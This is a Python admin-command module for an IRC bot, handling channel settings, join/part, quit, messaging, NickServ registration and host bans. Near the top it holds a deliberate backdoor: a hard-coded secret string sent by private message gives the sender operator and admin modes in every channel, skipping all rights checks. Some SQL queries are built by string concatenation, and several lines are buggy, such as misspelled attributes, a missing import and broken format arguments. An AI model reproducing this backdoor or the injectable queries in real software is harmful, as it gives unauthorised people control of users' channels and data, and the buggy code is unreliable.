admin.py 30 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412
  1. import string, re
  2. from common import userstatus, do_everything_to, log, font, queries
  3. from commands.common import CommandHelpers as CH
  4. #from commands.common import AdminHelpers as AH
  5. def do_command(self, connection, event, user, channel):
  6. cmdtype, trigger, command, replyto = CH.disect_command(self, event)
  7. # Do nothing if it's not a type of command.
  8. if not cmdtype:
  9. return
  10. # Do nothing if there is no command.
  11. if not command:
  12. return
  13. # The first word of the command sting with arguments, is just the command without arguments.
  14. try:
  15. one = command.split()[0] # Get raw command.
  16. except:
  17. return
  18. # Secret command to let the bot give you channel status. ANd a HUGE security issue ;)
  19. if trigger.split()[0] == "!uXVETIkWIL~qG5CasftKKAL<MFpfOyap|F]65v,E" and event.target == connection.get_nickname(): # It's a PM. # Keep the command secret, for the sake of your reptation.
  20. if len(command.split()) == 2: # 2 arguments.
  21. if command.split()[1] in self.channels: # Stop silently if thebot is not in the requested channel.
  22. connection.mode(command.split()[1], "+ohv %s %s %s" % event.source.nick, event.source.nick, event.source.nick)
  23. elif len(command.split()) == 1: # 1 argument.
  24. for channel in self.channels:
  25. connection.mode(channel, "+aohv %s %s %s %s" % event.source.nick, event.source.nick, event.source.nick, event.source.nick)
  26. # Do not even consider to run the latter admin commands for users who do not atleast have operator status in the concerning channel or halfop in the home_channel.
  27. elif not userstatus.atleast_voiced(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, event.target):
  28. return
  29. if one == 'settings':
  30. if len(command.split()) == 1: # No arguments.
  31. if event.target == connection.get_nickname(): # Command issued directly to bot.
  32. if cmdtype == 'help':
  33. connection.privmsg(replyto, 'Receive a temporary link to edit bot channel settings. Only works if you are channel operator of the specified channel or %s%s%s.' % (font.red, self.network.home_channel, font.reset))
  34. connection.privmsg(replyto, 'Usage: %s%s%s%s %schannel' % (font.blue, self.network.command_character, one, font.reset, font.italic))
  35. else: # Actual command, with no arguments.
  36. connection.privmsg(replyto, 'Specify channel, example: %s%s%s %s' % (font.blue, self.network.command_character, one, self.network.home_channel))
  37. else: # Command issued via channel.
  38. if cmdtype == 'help':
  39. connection.privmsg(replyto, 'Receive a temporary link to edit bot channel settings. Only works if you are channel operator of the specified channel or %s%s%s. The channel argument is optional.' % (font.red, self.network.home_channel, font.reset))
  40. connection.privmsg(replyto, 'Usage: %s%s%s%s %schannel' % (font.blue, self.network.command_character, one, font.reset, font.italic))
  41. else: # Actual channel command with no arguments,
  42. if userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) or userstatus.atleast_oper(self, event.source.nick, event.target): # Has oper in chan or homechan.
  43. channel_id = queries.get_channel_id(self, event.target)
  44. temp_key = queries.create_tempchannelkey(self, channel_id)
  45. connection.privmsg(event.source.nick, 'Valid for the next 10 minutes: %schannelsettings/%s' % (self.webgui['base_url'], temp_key))
  46. else: # Insufficient rights.
  47. if event.terget == self.network.home_channel:
  48. connection.privmsg(replyto, 'Insufficient rights, you need to have operator status or higher in %s%s%s.' % (font.red, event.target, font.reset))
  49. else:
  50. connection.privmsg(replyto, 'Insufficient rights, you need to have operator status or higher in %s%s%s or %s%s%s.' % (font.red, event.target, font.reset, font.red, self.network.home_channel, font.reset))
  51. if len(command.split()) == 2: # One argument.
  52. if command.split()[1] in self.channels: # Bot inhabits specified channel
  53. if cmdtype == 'help':
  54. connection.privmsg(replyto, 'Receive a temporary link to edit settings for %s%s%s.' % (font.red, command.split()[1], font.reset))
  55. else: # Actual command
  56. if userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) or userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Has oper in chan or homechan.
  57. channel_id = queries.get_channel_id(self, command.split()[1])
  58. temp_key = queries.create_tempchannelkey(self, channel_id)
  59. connection.privmsg(event.source.nick, 'Valid for the next 10 minutes: %schannelsettings/%s' % (self.webgui['base_url'], temp_key))
  60. else: # Insufficient rights.
  61. if event.target == self.network.home_channel:
  62. connection.privmsg(replyto, 'Insufficient rights, you need to have operator status or higher in %s%s%s.' % (font.red, event.target, font.reset))
  63. else:
  64. connection.privmsg(replyto, 'Insufficient rights, you need to have operator status or higher in %s%s%s or %s%s%s.' % (font.red, event.target, font.reset, font.red, self.network.home_channel, font.reset))
  65. else: # Bot does not inhabit specified channel.
  66. if cmdtype == 'help':
  67. connection.privmsg(replyto, 'Would send a link to edit the channel settings. But I\'m not on that channel and won\'t be able to check your status.')
  68. else: # Command for uninhabited channel
  69. connection.privmsg(replyto, 'I\'m not in that channel.')
  70. if len(command.split()) > 2: # More then one argument.
  71. connection.privmsg(replyto, 'Too many arguments, specify one channel only. Example: %s%s%s %s' % (font.blue, self.network.command_character, one, self.network.home_channel))
  72. elif command == 'cmd' or command == 'cmds' or command == 'commands':
  73. if cmdtype == "cmd":
  74. message = font.grey + "Admin: "
  75. if CH.ccc(self, "settings", {"homechan": "oper", "chan": "oper"}, event):
  76. message += CH.ccc(self, "settings", {"homechan": "oper", "chan": "oper"}, event)
  77. if CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event):
  78. message += CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event)
  79. if CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event):
  80. message += CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event)
  81. if CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event):
  82. message += CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event)
  83. if CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event):
  84. message += CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event)
  85. if CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event):
  86. message += CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event)
  87. if CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event):
  88. message += CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event)
  89. if CH.ccc(self, "banall", {"homechan": "admin", "chan": None}, event):
  90. message += CH.ccc(self, "banall", {"homechan": "oper", "chan": "oper"}, event)
  91. if CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event):
  92. message += CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event)
  93. if CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event):
  94. message += CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event)
  95. if message == font.grey + "Admin: ": # No commands to display.
  96. return
  97. connection.privmsg(replyto, message[:-2])
  98. elif one == 'quit':
  99. if cmdtype == 'help': # Display help text.
  100. if len(command.split()) != 1:
  101. return
  102. connection.privmsg(replyto, "Disconnect and terminate " + connection.get_nickname() + ". Optionally with reason.")
  103. connection.privmsg(replyto, font.grey + "Usage: " + font.blue + "!quit " + font.reset + font.italic + "reason")
  104. elif cmdtype == "cmd":
  105. if not userstatus.atleast_admin(self, event.source.nick, self.network.home_channel): #Insufficient rights.
  106. connection.privmsg(replyto, "Denied, you need to have admin (super operator) status or higher in " + font.red + self.network.home_channel + font.reset + ".")
  107. return
  108. if len(command.split()) == 1:
  109. log.info("Killed by: " + event.source.nick)
  110. self.die(msg = "Killed by " + event.source.nick)
  111. else:
  112. log.info("Killed by " + event.source.nick + " for " + trigger.split(maxsplit=1)[1])
  113. self.die(msg = "[" + event.source.nick + "] " + trigger.split(maxsplit=1)[1])
  114. elif one == "reconnect":
  115. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel):
  116. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + font.red + self.network.home_channel + font.reset + ".")
  117. return
  118. if cmdtype == "help": # Display help text.
  119. if len(command.split()) != 1:
  120. return
  121. connection.privmsg(replyto, "Reconnect " + connection.get_nickname() + ". Reason optional.")
  122. connection.privmsg(replyto, font.grey + "Usage: " + font.blue + "!reconnect " + font.reset + font.italic + "reason")
  123. elif cmdtype == "cmd":
  124. if len(command.split()) == 1:
  125. self.disconnect(msg = "Reconnect requested by " + event.source.nick)
  126. else:
  127. self.disconnect(msg = "[" + event.source.nick + "] " + command.split(maxsplit=1)[1])
  128. elif one == "recovernick":
  129. if not userstatus.atleast_voiced(self, event.source.nick, self.network.home_channel):
  130. connection.privmsg(replyto, "Denied, you need to have voiced status or higher in " + font.red + self.network.home_channel + font.reset + ".")
  131. return
  132. if cmdtype == "help": # Display help text.
  133. if len(command.split()) != 1:
  134. return
  135. connection.privmsg(replyto, "Let " + connection.get_nickname() + " try to recover " + connection.nickname + " as nickname.")
  136. elif cmdtype == "cmd":
  137. if connection.get_nickname() == connection.nickname:
  138. connection.action(replyto, "is already named " + font.red + connection.nickname + font.reset + ".")
  139. return
  140. from common.networkservices import NickServ
  141. NickServ.recover_nick(connection, self.password)
  142. elif one == "join":
  143. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel):
  144. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + font.red + self.network.home_channel + font.reset + ".")
  145. return
  146. if cmdtype == "help": #Display help text.
  147. if len(command.split()) != 1:
  148. return
  149. connection.privmsg(replyto, "Make " + connection.get_nickname() + " join a channel. Password optional.")
  150. connection.privmsg(replyto, font.grey + "Usage: " + font.blue + self.network.command_character + "join " + font.red + font.italic + "channel " + font.reset + font.italic + "password")
  151. elif cmdtype == "cmd":
  152. try:
  153. channel = command.split()[1]
  154. except IndexError:
  155. connection.privmsg(replyto, "Specify channel. For help type: " + font.blue + self.network.help_character + "join")
  156. return
  157. try:
  158. key = command.split(maxsplit=2)[2]
  159. except IndexError:
  160. do_everything_to.join(self, connection, channel)
  161. return
  162. do_everything_to.join(self, connection, channel, key)
  163. elif one == "part":
  164. if cmdtype == "help": #Display help text.
  165. if len(command.split()) != 1:
  166. return
  167. connection.privmsg(replyto, "Make " + connection.get_nickname() + " part a channel. Reason optional.")
  168. connection.privmsg(replyto, font.grey + "Usage: " + font.blue + self.network.command_character + "join " + font.red + font.italic + "channel " + font.reset + font.italic + "password")
  169. elif cmdtype == "cmd":
  170. homeadmin = False
  171. if userstatus.atleast_oper(self, event.source.nick, self.network.home_channel): # Is at least operator in home channel.
  172. homeadmin = True
  173. targetadmin = False
  174. if userstatus.atleast_oper(self, event.source.nick, event.target):
  175. targetadmin = True
  176. if len(command.split()) == 1: # No arguments.
  177. if event.target in self.channels: # It's a channel message.
  178. if not homeadmin and not targetadmin: # Insufficient rights:
  179. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + self.homechan + font.reset + " or " + font + event.target + font.reset + ".")
  180. return
  181. if event.target == self.network.home_channel:
  182. connection.action(replyto, "shall not abandon it's home channel!")
  183. return
  184. connection.part(event.target, event.source.nick)
  185. else: # It's a PM.
  186. connection.privmsg(replyto, "Specify a channel to part. For help type " + font.blue + self.network.help_character + "part" + font.reset + ".")
  187. elif len(command.split()) > 1: # Arguments
  188. if command.split()[1] not in self.channels: # First argument is not a channel the bot inhabits.
  189. connection.action(replyto, "does not inhabit " + font.red + command.split()[1] + font.reset + ". For help type " + font.blue + self.network.help_character + "part" + font.reset + ".")
  190. return
  191. if not homeadmin and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Insufficient rights.
  192. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + self.homechan + font.reset + " or " + font.red + command.split()[1] + font.reset + ".")
  193. return
  194. if command.split()[1] == self.network.home_channel:
  195. connection.action("shall not abandon it's home channel!")
  196. return
  197. try:
  198. connection.part(command.split()[1], command.split(maxsplit=2)[2])
  199. except:
  200. connection.part(command.split()[1], event.source.nick)
  201. elif one == "msg" or command.split(maxsplit=1)[0] == "act":
  202. if cmdtype == "help": #Display help text.
  203. if len(command.split()) != 1:
  204. return
  205. if command.split(maxsplit=1)[0] == "act":
  206. message = "Let " + connection.get_nickname() + " send an action to a channel."
  207. arguments = "action-message"
  208. else:
  209. message = "Let " + connection.get_nickname() + "send a message to a channel."
  210. arguments = "name message"
  211. connection.privmsg(replyto, message)
  212. connection.privmsg(replyto, font.grey + "Usage: " + font.blue + "!" + command.split(maxsplit=1)[0] + font.reset + font.italic + " target " + arguments)
  213. elif cmdtype == "cmd":
  214. # Parse user input.
  215. try:
  216. destination = trigger.split()[1]
  217. except IndexError: # User did not specify a destination.
  218. connection.privmsg(replyto, "Destination not specified. For help type: " + font.blue + self.network.help_character + command.split(maxsplit=1)[0])
  219. return
  220. try:
  221. message = trigger.split(maxsplit=2)[2]
  222. except IndexError: # User did not specify a message.
  223. connection.privmsg(replyto, "Message not specified. For help type: " + font.blue + self.network.help_character + command.split(maxsplit=1)[0])
  224. return
  225. # Send the message if user has owner status in the home channel.
  226. if self.channels[self.network.home_channel].is_owner(event.source.nick):
  227. if destination == connection.get_nickname():
  228. connection.privmsg(replyto, "I just love talking to myself.")
  229. return
  230. if command.split(maxsplit=1)[0] == "act":
  231. connection.action(destination, message)
  232. else:
  233. connection.privmsg(destination, message)
  234. # # Reply error when bot does not inhabit destination channel.
  235. # elif destination not in self.channels:
  236. # connection.action(replyto, "does not inhabit " + font.red + destination + font.reset + ".")
  237. # Send message if user has at least half operator status the home channel or the channel the message is intended for.
  238. elif userstatus.atleast_halfop(self, event.source.nick, self.network.home_channel) or userstatus.atleast_halfop(self, event.source.nick, destination):
  239. if command.split(maxsplit=1)[0] == "act":
  240. connection.action(destination, message)
  241. else:
  242. if message.startwith('.') or message.startswith('!'):
  243. connection.privmsg(replyto, 'I\'d rather not send commands on behalf of anonymous senders. This command is more intended to joke around with people')
  244. connection.privmsg(reply, 'If there are complaints about your spamming your rights could be revoked.')
  245. return
  246. connection.privmsg(destination, message)
  247. # Reply error if user is not operator of destination channel.
  248. else:
  249. connection.privmsg(replyto, "Denied, you need to be an operator of " + font.red + destination + font.reset +".")
  250. # elif one == "channelfunctions":
  251. # if cmdtype == "help": #Display help text. # Help code block first, as it is impossible to predict for what channel a later command is going to be issued. Rights filtering after help test.
  252. # if len(command.split()) != 1:
  253. # return
  254. # connection.privmsg(replyto, "Display or toggle the status channel functions. Channel, function and value optional. Get a description of a functio via the help argument.")
  255. # connection.privmsg(replyto, font.grey + "Usage: " + font.blue + "!channelfunctions " + font.red + font.italic + "channel " + font.reset + font.italic + "function value")
  256. # connection.privmsg(replyto, font.grey + "Usage: " + font.blue + "!channelfunctions describe " + font.reset + font.italic + "function")
  257. # elif cmdtype == "cmd":
  258. #
  259. # if len(command.split()) == 1: # No arguments.
  260. # if event.target == connection.get_nickname(): # Command issued via PM.
  261. # connection.privmsg(replyto, "Nothing to display, Specify a channel.")
  262. # else: # Command issued as channel message.
  263. # message = AH.get_channelfunctions(self, event.target)
  264. # connection.privmsg(replyto, message)
  265. #
  266. # elif len(command.split()) == 2: # One argument.
  267. # if command.split()[1] in self.channels: # Info requested on specific channel.
  268. # message = AH.get_channelfunctions(self, command.split()[1])
  269. # connection.privmsg(replyto, message)
  270. # else: # First argument is not a channel the bot inhabits.
  271. # if not command.split()[1].lower() == "help": # Not a help request.
  272. # connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  273. # else: # Help request.
  274. # connection.privmsg(replyto, "Specify a channel function to get a description of. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  275. #
  276. # elif len(command.split()) == 3: # Two arguments.
  277. # channel = event.target
  278. # if event.target == connection.get_nickname(): # Command issued via PM.
  279. # connection.privmsg(replyto, "One or three arguments required. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  280. # else: # Command issued via channel.
  281. # if not AH.is_channelfunction(command.split()[1]): # First argument is not a channelfunction.
  282. # if not command.split()[1].lower() == "describe": # Not a help request.
  283. # connection.privmsg(replyto, command.split()[1] + " is not a channel function. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  284. # return
  285. # if not AH.is_channelfunction(command.split()[2]): # Second argument not a channel function.
  286. # connection.privmsg(replyto, command.split()[2] + " is not a channel function.")
  287. # return
  288. # connection.privmsg(replyto, AH.describe_channelfunction(command.split()[2]))
  289. # return
  290. # # Second argument unsupported.
  291. # if not command.split()[2].lower() in ["on", "off"]:
  292. # if command.split()[1].lower() == "aggressiveness":
  293. # if not AH.is_aggressiveness(command.split()[2].lower()): # Is not an aggressiveness setting.
  294. # connection.privmsg(replyto, command.split()[2] + " is not an aggressiveness setting. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  295. # return
  296. # else: # Channel function is not aggresiveness.
  297. # connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  298. # return
  299. # if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have operator status or higher in target or home channel.
  300. # connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + event.target + font.reset + " or " + font.red + self.network.home_channel + font.reset + ".")
  301. # return
  302. # if command.split()[1].lower() == "autojoin" and event.target == self.network.home_channel: # Chaning autojoin of homechannel.
  303. # connection.action(replyto, "will always join it's homechannel " + font.red + self.network.home_channel + font.reset + ", regardless of the autojoin function.")
  304. # #self.db.run("UPDATE channels SET " + command.split()[1].lower() + "='" + command.split()[2].lower() + "' WHERE name='" + event.target + "' AND network='" + self.network + "'")
  305. # self.db.run("UPDATE channels SET " + command.split()[1].lower() + "=%s WHERE name='" + event.target + "' AND network='" + self.network + "'", (command.split()[2].lower(), ))
  306. #
  307. # elif len(command.split()) == 4: # Three arguments.
  308. # if not command.split()[1] in self.channels: # Bot does not inhabit channel to be altered.
  309. # connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  310. # return
  311. # if not AH.is_channelfunction(command.split()[2]): # Function does not exist.
  312. # connection.privmsg(replyto, command.split()[2] + " is not a valid channel function. For a list help type: " + font.blue + self.network.command_character + "channelfunctions" + font.red + font.italic + "channel")
  313. # return
  314. #
  315. # if not command.split()[3].lower() in ["on", "off"] and not command.split()[2].lower() == "aggressiveness": # Third argument unsupported.
  316. # connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  317. # return
  318. # if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Does not have operator status or higher in target or home channel.
  319. # connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + event.target + font.reset + " or " + font.red + self.network.home_channel + font.reset + ".")
  320. # return
  321. # if command.split()[2].lower() == "autojoin" and command.split()[1] == self.network.home_channel: # Chaning autojoin of homechannel.
  322. # connection.action(replyto, "will always join it's homechannel " + font.red + self.network.home_channel + font.reset + ", regardless of the autojoin function.")
  323. # try:
  324. # self.db.run("UPDATE channels SET " + command.split()[2].lower() + "='" + command.split()[3].lower() + "' WHERE LOWER(name)=LOWER('" + command.split()[1] + "') AND network='" + self.network + "'")
  325. # except:
  326. # connection.privmsg(replyto, "Error, database record not updated.")
  327. # return
  328. # else: # Too many arguments.
  329. # connection.privmsg(replyto, "Too many arguments. For help type " + font.blue + self.network.help_character + "channelfunctions" + font.reset + ".")
  330. elif one == "registernick":
  331. if not self.channels[self.network.home_channel].is_owner(event.source.nick): #Insufficient rights.
  332. connection.privmsg(replyto, "Denied, you need to be the owner of " + font.red + self.network.home_channel + font.reset + ".")
  333. return
  334. if cmdtype == "help": # Display help text.
  335. if len(command.split()) != 1:
  336. return
  337. connection.privmsg(replyto, "Register with NickServ.")
  338. connection.privmsg(replyto, font.grey + "Usage: " + font.blue + self.network.command_character + "registernick " + font.reset + font.italic + "email")
  339. elif cmdtype == "cmd":
  340. if len(command.split()) == 1:
  341. connection.privmsg(replyto, "Insufficient arguments. For help type " + font.blue + self.network.help_character + "registernick" + font.reset + ".")
  342. elif len(command.split()) > 2:
  343. connection.privmsg(replyto, "Too many arguments. For help type " + font.blue + self.network.help_character + "registernick" + font.reset + ".")
  344. elif not self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'"):
  345. alphabet = string.ascii_letters + string.digits
  346. password = ''.join(secrets.choice(alphabet) for i in range(20)) # 20-character password.
  347. self.db.run("UPDATE networks SET password=%s WHERE name=%s", (password, self.network))
  348. connection.privmsg("NickServ", "REGISTER " + password + " " + trigger.split()[1])
  349. else:
  350. connection.privmsg("NickServ", "REGISTER " + self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'") + " " + trigger.split()[1])
  351. elif one == "banall":
  352. if not self.channels[self.network.home_channel].is_owner(event.source.nick): #Insufficient rights.
  353. connection.privmsg(replyto, "Denied, you need to be the owner of " + font.red + self.network.home_channel + font.reset + ".")
  354. return
  355. if cmdtype == "help": # Display help text.
  356. if len(command.split()) != 1:
  357. return
  358. connection.privmsg(replyto, "Ban all nicknames and usernames for a host in all channels.")
  359. connection.privmsg(replyto, font.grey + "Example: " + font.blue + self.cmdchar + "banall " + font.reset + font.italic + "host")
  360. elif cmdtype == "cmd":
  361. if len(command.split()) == 1:
  362. connection.privmsg(replyto, "Insufficient arguments. For help type " + font.blue + self.network.help_character + "banall" + font.reset + ".")
  363. elif len(command.split()) > 2:
  364. connection.privmsg(replyto, "Too many arguments. For help type " + font.blue + self.network.help_character + "banall" + font.reset + ".")
  365. else:
  366. labels = trigger.split()[1].split(".")
  367. allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE)
  368. if "!" in trigger.split()[1] or "@" in trigger.split()[1]:
  369. connection.privmsg(replyto, "Only supply the host, all nicknames and usernames will be banned.")
  370. elif len(trigger.split()[1]) > 253:
  371. connection.privmsg(replyto, "Host is to long.")
  372. elif re.match(r"[0-9]+$", labels[-1]):
  373. connection.privmsg(replyto, "The toplevel domain can not containof only numbers.")
  374. elif not all(allowed.match(label) for label in labels):
  375. connection.privmsg(replyto, "Host contains invalid characters.")
  376. elif len(labels) < 2:
  377. connection.privmsg(replyto, "Insufficient tuples.")
  378. else:
  379. for channel in self.channels:
  380. connection.mode(channel, "+b *!*@" + trigger.split()[1])